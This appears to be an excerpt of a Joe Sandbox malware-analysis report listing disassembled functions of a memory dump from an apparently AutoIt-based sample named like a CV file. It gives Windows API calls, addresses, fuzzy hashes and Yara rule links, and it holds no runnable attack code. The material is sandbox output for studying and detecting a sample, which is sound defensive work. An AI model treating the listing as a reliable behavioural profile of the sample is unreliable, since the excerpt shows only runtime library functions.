Opcode Fuzzy Hash: 7f6883261c3a5ca4dc3fa81e51c87c380f699e4c3af766e8936dc8cd0ce2daf9
Instruction Fuzzy Hash: E9113635900029BBDF11EF98DE859AEB7B9EF09304F420461E901E7150D734AA85CBA5

Function 003C732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003C7352
MessageBoxW.USER32(?,?,?,?), ref: 003C7385
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 003C739B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 003C73A2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: afe15a5027e973ebf8057320a59db7f9ccbff77f5be01bed0741dfb3ee9e4dea
Instruction ID: caadac11534c18fa580f84fc9ad44a6795fbcbda93ffd71d7ebaaca7622e03db
Opcode Fuzzy Hash: afe15a5027e973ebf8057320a59db7f9ccbff77f5be01bed0741dfb3ee9e4dea
Instruction Fuzzy Hash: D7110876A04254BFC7029FACDC09FDE7BADAB45321F044369FC21E3251D6B08D049BA4

Function 0039D17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0039D1BA
GetStockObject.GDI32(00000011), ref: 0039D1CE
SendMessageW.USER32(00000000,00000030,00000000), ref: 0039D1D8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 3f10a554855db268ea8aa2dda817defb9ca96419cf096b53390528a68f7f39fe
Instruction ID: 150dd48dc400b4a2afb919b756f21babc17f911cc82f8a286893bc6ceeab5f84
Opcode Fuzzy Hash: 3f10a554855db268ea8aa2dda817defb9ca96419cf096b53390528a68f7f39fe
Instruction Fuzzy Hash: 5211A973501509BFEF024FA0DC52EEABB6DFF09364F050122FA1666060C732DC60ABA0

Function 003B4DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 003B4E16

Part of subcall function 003B54F5: __fltout2.LIBCMT ref: 003B551E

__cftog_l.LIBCMT ref: 003B4E3C
__cftoe_l.LIBCMT ref: 003B4E6E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 950ecb939c48f08628ef334fbbe285e5c4ed4f9a1e5c646f2f6a253f214938dd
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: 3F01493600014EBBCF135E84DC018EE3F67BB18358B598455FF2859932D336DAB2AB89

Function 003A7452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A7A0D: __getptd_noexit.LIBCMT ref: 003A7A0E

__lock.LIBCMT ref: 003A748F
InterlockedDecrement.KERNEL32(?), ref: 003A74AC
_free.LIBCMT ref: 003A74BF
InterlockedIncrement.KERNEL32(01855248), ref: 003A74D7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: f23fc067e2d17dcbccc888213e615b9a865d70f060ef2621fc1ae83d75559d05
Instruction ID: 976afb5a07bb40bbfb7ed8886ffde59fef9cb49264dc82d9d63f6815722695a1
Opcode Fuzzy Hash: f23fc067e2d17dcbccc888213e615b9a865d70f060ef2621fc1ae83d75559d05
Instruction Fuzzy Hash: 4001D631949A11ABC713AF669D8A75DBB60FF0A721F164029F854AB680C7345901CFD6

Function 003EEA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0039AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0039AFE3
Part of subcall function 0039AF83: SelectObject.GDI32(?,00000000), ref: 0039AFF2
Part of subcall function 0039AF83: BeginPath.GDI32(?), ref: 0039B009
Part of subcall function 0039AF83: SelectObject.GDI32(?,00000000), ref: 0039B033

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 003EEA8E
LineTo.GDI32(00000000,?,?), ref: 003EEA9B
EndPath.GDI32(00000000), ref: 003EEAAB
StrokePath.GDI32(00000000), ref: 003EEAB9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 305f947be6efedb0b7bec2db54ce524d486e7cbb3fe2488e5111aef06b55b418
Instruction ID: 40e4b9b35b5c65611eef44c90805c1fe9cca8b21b2766b2df5a9e402e488a6d8
Opcode Fuzzy Hash: 305f947be6efedb0b7bec2db54ce524d486e7cbb3fe2488e5111aef06b55b418
Instruction Fuzzy Hash: BDF0BE31401268BBEB139F94AD09FCE3F19AF06310F044211FE02640E187749565CBD9

Function 003BC82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 003BC84A
GetWindowThreadProcessId.USER32(?,00000000), ref: 003BC85D
GetCurrentThreadId.KERNEL32 ref: 003BC864
AttachThreadInput.USER32(00000000), ref: 003BC86B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 6ac2649ac463ff1b20cce3f7d41793caa3ffb70f714af6c6b8462c5dfe9c8342
Instruction ID: bdd215af841be757371926c7a975e313fb7ce9efd47526833a0d628b6d798bd9
Opcode Fuzzy Hash: 6ac2649ac463ff1b20cce3f7d41793caa3ffb70f714af6c6b8462c5dfe9c8342
Instruction Fuzzy Hash: F3E06D71942228BADB211FA2DD0DEDB7F1CEF167A1F008421B60DE5861C6B2C584CBE0

Function 003BB0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 003BB0D6
OpenThreadToken.ADVAPI32(00000000,?,?,?,003BAC9D), ref: 003BB0DD
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,003BAC9D), ref: 003BB0EA
OpenProcessToken.ADVAPI32(00000000,?,?,?,003BAC9D), ref: 003BB0F1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: d7902a6f50bc720a7c53845c9593b6afda91525f2fc3efeca4a4f33636941b7a
Instruction ID: 5ea07c8f24d03c52ddfbffed310f8d22ecd95cdfb8e418fe36981161110078e6
Opcode Fuzzy Hash: d7902a6f50bc720a7c53845c9593b6afda91525f2fc3efeca4a4f33636941b7a
Instruction Fuzzy Hash: 53E04F72A012119BD7202FF15E0CB977BA8AF55799F028828A745EA040DB7484058764

Function 0039B47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0039B496
SetTextColor.GDI32(?,000000FF), ref: 0039B4A0
SetBkMode.GDI32(?,00000001), ref: 0039B4B5
GetStockObject.GDI32(00000005), ref: 0039B4BD
GetWindowDC.USER32(?,00000000), ref: 003FDE2B
GetPixel.GDI32(00000000,00000000,00000000), ref: 003FDE38
GetPixel.GDI32(00000000,?,00000000), ref: 003FDE51
GetPixel.GDI32(00000000,00000000,?), ref: 003FDE6A
GetPixel.GDI32(00000000,?,?), ref: 003FDE8A
ReleaseDC.USER32(?,00000000), ref: 003FDE95

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 1a4a26415ec6b225214e05ac3fe58c41a1131146b623202c3a81d4a5dd8beb65
Instruction ID: b6ea9cfb6274ad76b7fba3b9db683fb22388ceea1e85ea57b4b6c6fe96e564db
Opcode Fuzzy Hash: 1a4a26415ec6b225214e05ac3fe58c41a1131146b623202c3a81d4a5dd8beb65
Instruction Fuzzy Hash: FCE06D31500244AADF221FA4AD0DBE83F11AB55339F00C226FB696C0E2C7714584DB11

Function 003FB29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003FB29A
GetDC.USER32(00000000), ref: 003FB2A4
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003FB2C3
ReleaseDC.USER32 ref: 003FB2E2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 2ab95a868bf964a40117ff45cbf52f7aedb39bef3fc29957b92ad122bce3f160
Instruction ID: 3af33ece3c13b68723aa37cd3996492cb0a585b73acd2c17ed3af5ce6ba61dee
Opcode Fuzzy Hash: 2ab95a868bf964a40117ff45cbf52f7aedb39bef3fc29957b92ad122bce3f160
Instruction Fuzzy Hash: 90E04FB1900204EFDB015FB0C94862E7BA8EB4C350F11CC25FD5A9B210CB7598448F44

Function 003BB2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 003BB2DF
UnloadUserProfile.USERENV(?,?), ref: 003BB2EB
CloseHandle.KERNEL32(?), ref: 003BB2F4
CloseHandle.KERNEL32(?), ref: 003BB2FC

Part of subcall function 003BAB24: GetProcessHeap.KERNEL32(00000000,?,003BA848), ref: 003BAB2B
Part of subcall function 003BAB24: HeapFree.KERNEL32(00000000), ref: 003BAB32

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 5949fc9453f4adee1395895c6144c050df719a2768dfc2e9d12730585709e7d4
Instruction ID: 3187f546ffebe7685ba05860e48ab7d4235ba9b4de6dd5b7a7ef6486be64e027
Opcode Fuzzy Hash: 5949fc9453f4adee1395895c6144c050df719a2768dfc2e9d12730585709e7d4
Instruction Fuzzy Hash: 09E0EC3A504405BFCB026FE5ED08859FFB6FF883213109231FA2591571CB32A875EB95

Function 003FB2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 003FB2AE
GetDC.USER32(00000000), ref: 003FB2B8
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003FB2C3
ReleaseDC.USER32 ref: 003FB2E2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: d6b37667f542aacce34637b08ff9f9e1af95e0490f4fae4b1779978426c11d10
Instruction ID: 6dc1e09dacfc24e86771a6b41ed8f633ae27ebbfe34509d76f9257892a774d57
Opcode Fuzzy Hash: d6b37667f542aacce34637b08ff9f9e1af95e0490f4fae4b1779978426c11d10
Instruction Fuzzy Hash: 9FE046B1900200EFDF015FB0C94862E7BA8EB4C350F118829F95EAB220CB7A98448F08

Function 003BDCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 003BDEAA

Strings

Container, xrefs: 003BDE29
AutoIt3GUI, xrefs: 003BDE22

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 5cc8e016be22b3ef53e8c0c64ae18c544906ec8a3c753e2deeeb1ecd35872eab
Instruction ID: e663cb77ac1127e8f041b8a2b5c5a11d38d505091d1b999b7ebb228abaf68fd0
Opcode Fuzzy Hash: 5cc8e016be22b3ef53e8c0c64ae18c544906ec8a3c753e2deeeb1ecd35872eab
Instruction Fuzzy Hash: DE913A706006019FDB15DF64C884BAAB7F9BF49718F20846EF94ACFA91EB70E841CB50

Function 003C290D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 003C2A72

Strings

I/?, xrefs: 003C297F
I/?, xrefs: 003C29FC, 003C2A64, 003C2A12

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscpy
String ID: I/?$I/?
API String ID: 3048848545-1830153238
Opcode ID: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
Instruction ID: d20bd2dcb90bcffae3ffc9abddbfa3ec27ad65bc18623a45b259a32e6f6ae43b
Opcode Fuzzy Hash: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
Instruction Fuzzy Hash: C141B035900616AACF26EF98C441FFEB7B0EF49710F51505EE881EB191DB306E92C7A4

Function 0039BCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0039BCDA
GlobalMemoryStatusEx.KERNEL32 ref: 0039BCF3

Strings

@, xrefs: 0039BCE8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 3520c433c7f8212b53285bdb00a5e7f905a52b88d897a1c43839da56aa272fe1
Instruction ID: 9acb49a90b65f362c318c4df0a597934f11f96c38b568e3cebd0dca395e56851
Opcode Fuzzy Hash: 3520c433c7f8212b53285bdb00a5e7f905a52b88d897a1c43839da56aa272fe1
Instruction Fuzzy Hash: 43514672409B44ABE721AF14DC86BAFBBECFF94354F41485EF1C8450A2DB7085A8CB56

Function 003CC56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 003844ED: __fread_nolock.LIBCMT ref: 0038450B

_wcscmp.LIBCMT ref: 003CC65D
_wcscmp.LIBCMT ref: 003CC670

Strings

FILE, xrefs: 003CC5A5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: a3562587ccc1161089d92f2f946f8987e546169c105ded0788539c7c938fc470
Instruction ID: 347a9f0b0e238f9bf0b301ee0b756879016fa73d68f0b56ebabe1973bfcae262
Opcode Fuzzy Hash: a3562587ccc1161089d92f2f946f8987e546169c105ded0788539c7c938fc470
Instruction Fuzzy Hash: 1D41C372A0020ABBDF22AAA4DC42FEF77B9EF49714F011469F605EB181D6759E04CB61

Function 003EA76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 003EA85A
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 003EA86F

Strings

', xrefs: 003EA7C3

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 8d37d6764b22b6d09ebf4953fde084e38f87361de7eb3e54c23d463a75cedbd9
Instruction ID: 133af5f812ac4b0a0268ebd71f3e69a5480d89929f62636f82a8299463db5cf9
Opcode Fuzzy Hash: 8d37d6764b22b6d09ebf4953fde084e38f87361de7eb3e54c23d463a75cedbd9
Instruction Fuzzy Hash: 96411974E017599FDB15CFA9C880BDA7BB9FB09300F11016AE909EB391D770A941CFA1

Function 003E975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 003E980E
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 003E984A

Strings

static, xrefs: 003E97AA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 82989534fe0b44122dad0de3c02492c31af89d0cded0bd83a10df36f1d4bdfd4
Instruction ID: d4a3f8ef2be0f6397e16940831120d90242c80663d77e8832dd1249500deb9fe
Opcode Fuzzy Hash: 82989534fe0b44122dad0de3c02492c31af89d0cded0bd83a10df36f1d4bdfd4
Instruction Fuzzy Hash: 0D31AF71110654AEEB119F75CC80BFB73A9FF59760F01861AF8A9D71A0CA31AC85CB64

Function 003C5157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003C51C6
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003C5201

Strings

0, xrefs: 003C51BF

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
